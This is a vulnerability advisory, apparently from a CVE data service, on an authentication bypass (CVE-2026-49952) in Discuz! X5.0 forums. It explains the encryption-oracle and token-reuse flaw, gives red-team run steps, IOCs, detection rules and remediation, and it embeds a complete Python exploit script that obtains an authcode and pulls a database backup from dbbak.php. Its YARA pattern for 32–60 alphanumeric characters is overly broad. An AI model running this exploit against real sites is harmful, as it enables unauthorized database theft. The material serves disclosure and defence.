CVE-2026-49952
Executive Summary
CVE-2026-49952 is a critical authentication bypass vulnerability in Discuz! X5.0 forums (versions 20260320 through 20260501). An unauthenticated remote attacker can exploit a shared cryptographic key between the UCenter integration and the database backup API (dbbak.php). By crafting a specific payload in the username parameter during login, the attacker abuses the encryption oracle in logging_ctl::logging_more() to obtain a valid signed token. This token is then reused to bypass authorization for database backup/restore operations, including the ability to trigger a race condition that impersonates arbitrary users. The vulnerability has a CVSS score of 9.1 (Critical) and a public PoC exploit script is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP-based web application vulnerability (Discuz! forum). No NPM, PyPI, Go, or Ruby packages are directly involved; however, the affected software may be distributed via tarballs on official or third-party mirrors. Users should verify the integrity of downloaded Discuz! archives and apply the official patch as soon as possible.
CVSS Breakdown & Threat Level
- Base Score: 9.1 (Critical)
- Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L) – Unconfirmed, but based on unauthorized data access and modification.
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (database export)
- Integrity Impact: High (database import / modification)
- Availability Impact: Low (race condition could affect user impersonation but not system availability)
Deep Dive & Mechanics
The vulnerability lies in the interaction between Discuz! UCenter integration and the dbbak.php backup endpoint. UCenter uses a shared secret key (UC_KEY) to sign authentication tokens. The dbbak.php script trusts any token signed with this same key, regardless of the actual user session.
- Encryption Oracle: The login process in
logging_ctl::logging_more()performs encryption on theusernameinput and returns a signedauthcode. The key used is the sameUC_KEYshared withdbbak.php. - Payload Injection: An attacker sends a POST request to
member.php?mod=logging&action=loginwith a craftedusernamesuch asadmin|1|0|0. The|delimited string is encrypted and returned as anauthcode. - Token Reuse: The attacker then calls
dbbak.php?code=<authcode>&operation=backup&appid=1. The backup endpoint decodes the token usingUC_KEYand, if valid, grants full database access without additional authorization. - Race Condition: By rapidly sending requests with different crafted payloads, the attacker can generate tokens that impersonate arbitrary users (e.g., admin) due to a time-of-check to time-of-use flaw in the authentication flow.
Vulnerable vs. Patched Code
- Vulnerable: Discuz! X5.0 releases 20260320 through 20260501. The
dbbak.phpscript directly trusts tokens signed withUC_KEYwithout verifying that the token was issued for a legitimate session. - Patched: Version 20260510+. The patch likely adds session validation or separate signing keys for backup operations, preventing reuse of login-generated tokens.
No code diff is available publicly; however, the exploitation script indicates the fix was released 20260510.
Exploitation & Lab Setup
Red Team (Attacker)
- Prerequisites: Python 3,
requestslibrary. Target running Discuz! X5.0 (20260320-20260501). - Clone the exploit script (provided by Mohammed Idrees Banyamer).
- Run:
Optional proxy:python3 exploit.py http://target.com--proxy http://127.0.0.1:8080Custom payload:--payload "admin|1|0|0"(default) - Output: The script obtains an authcode and attempts to access
dbbak.php. A HTTP 200 response with database backup content indicates successful exploitation.
Lab Setup:
- Install Discuz! X5.0 (e.g., using Docker or manual setup) and apply no patches.
- Use a test domain (e.g.,
http://discuz.local). - Run the exploit with optional verbose logging.
Blue Team (Defender)
Detection indicators:
- Unusual requests to
member.php?mod=logging&action=loginwithusernamecontaining pipe-separated values (admin|1|0|0) or similar patterns. - Subsequent requests to
/api/db/dbbak.phpwith acodeparameter shortly after the login attempt. - Multiple rapid requests from the same IP to
dbbak.phpwith varyingcodevalues (race condition attempts).
Honeypot: Set up a honeypot endpoint that mimics dbbak.php and logs all code values for analysis.
Indicators of Compromise (IOCs)
- Network:
- POST request to
/member.php?mod=logging&action=loginwith username field containing|delimiters (e.g.,admin|1|0|0). - GET/POST request to
/api/db/dbbak.phpwithcodeparameter (alphanumeric token of length 32-60).
- POST request to
- File/Log:
- Web server access logs showing pattern:
POST /member.php?mod=logging&action=loginfollowed byGET /api/db/dbbak.php?code=...within seconds. - Discuz! logs (if enabled) showing
authcodereuse from login context for backup operations.
- Web server access logs showing pattern:
- Registry/Config:
- Unauthorized database backup files (
.sqlor.bak) appearing indata/orbackup/directories.
- Unauthorized database backup files (
- YARA Rule (for file scanning):
rule discuz_auth_bypass_payload { strings: $pipe = /admin\|\d+\|\d+\|\d+/ $code = /[a-zA-Z0-9]{32,60}/ condition: $pipe or $code }
Detection Engineering
YARA Rule
rule cve_2026_49952_auth_bypass {
meta:
description = "Detects payload patterns for CVE-2026-49952 in Discuz! X5.0"
author = "Valters IT"
date = "2026-06-26"
strings:
$pipe_payload = /admin\|[0-9]\|[0-9]\|[0-9]/
$auth_code = /[a-zA-Z0-9]{32,60}/
condition:
any of them
}
Sigma Rule (Windows Event Logs / Sysmon)
title: Discuz! CVE-2026-49952 Authentication Bypass
id: 9a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects pipe-separated username payloads in login requests to Discuz! forum.
author: Valters IT
logsource:
category: webserver
product: iis OR apache OR nginx
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/member.php'
cs-uri-query|contains: 'mod=logging&action=login'
cs-username|contains: '|'
condition: selection
fields:
- c-ip
- cs-username
- time
falsepositives:
- Legitimate use of pipe in username (very unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49952 Discuz! Auth Bypass Login Payload"; flow:to_server; content:"POST"; http_method; content:"/member.php"; http_uri; content:"mod=logging&action=login"; http_uri; pcre:"/username=[^&]*\|[^&]*\|[^&]*\|/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (PoC Script)
# Exploit Title: Discuz! X5.0 - Authentication Bypass
# CVE: CVE-2026-49952
# Date: 2026-06-26
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://www.discuz.vip
# Software Link: https://www.discuz.vip
# Affected: Discuz! X5.0 (20260320 - 20260501)
# Tested on: Discuz! X5.0
# Category: WebApps
# Platform: PHP
# Exploit Type: Authentication Bypass
# CVSS: 9.1
# Description: Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse.
# Fixed in: 20260510+
# Usage:
# python3 exploit.py <target>
#
# Examples:
# python3 exploit.py http://target.com
# python3 exploit.py https://target.com --proxy http://127.0.0.1:8080
#
# Options:
# --proxy HTTP proxy
#
# Notes:
# • Tune payload if needed (e.g. admin|1|0|0)
#
# How to Use
#
# Step 1:
# Run the script against the target
#
# Step 2:
# Check if dbbak.php access is granted
import requests
import re
import sys
import argparse
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
def get_authcode(target, payload, proxy):
url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes"
data = {
"username": payload,
"password": "dummy123",
"loginsubmit": "yes"
}
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15)
match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text)
if match:
return match.group(1)
match = re.search(r'([a-zA-Z0-9]{32,60})', r.text)
if match:
return match.group(1)
return None
except:
return None
def exploit_dbbak(target, authcode, proxy):
url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1"
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
r = requests.get(url, proxies=proxies, verify=False, timeout=15)
print(f"[+] dbbak.php status: {r.status_code}")
if r.status_code == 200:
print("[+] Success! Access to database backup granted.")
print(r.text[:400])
else:
print("[-] Failed or access denied.")
except:
print("[-] Request failed.")
def main():
banner()
parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC")
parser.add_argument("target", help="Target URL")
parser.add_argument("--proxy", help="HTTP proxy", default=None)
parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0")
args = parser.parse_args()
target = args.target.rstrip("/")
print(f"[*] Target: {target}")
print(f"[*] Payload: {args.payload}")
authcode = get_authcode(target, args.payload, args.proxy)
if authcode:
print(f"[+] Authcode: {authcode}")
exploit_dbbak(target, authcode, args.proxy)
else:
print("[-] Failed to get authcode.")
if __name__ == "__main__":
main()
Remediation & Mitigation
Immediate Actions:
- Upgrade Discuz! X5.0 to version 20260510 or later.
- If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to
dbbak.phpthat contain acodeparameter. - Restrict access to
dbbak.phpby IP whitelist or require additional HTTP headers (e.g., X-API-Key) not derived from UC_KEY. - Monitor logs for the IOCs listed above.
Long-term:
- Harden the authentication mechanism: separate keys for different services (UCenter vs. backup).
- Implement proper session validation for all privileged API endpoints.
- Perform a security audit of the UCenter integration code.
Report generated by Valters IT DevSecOps Team.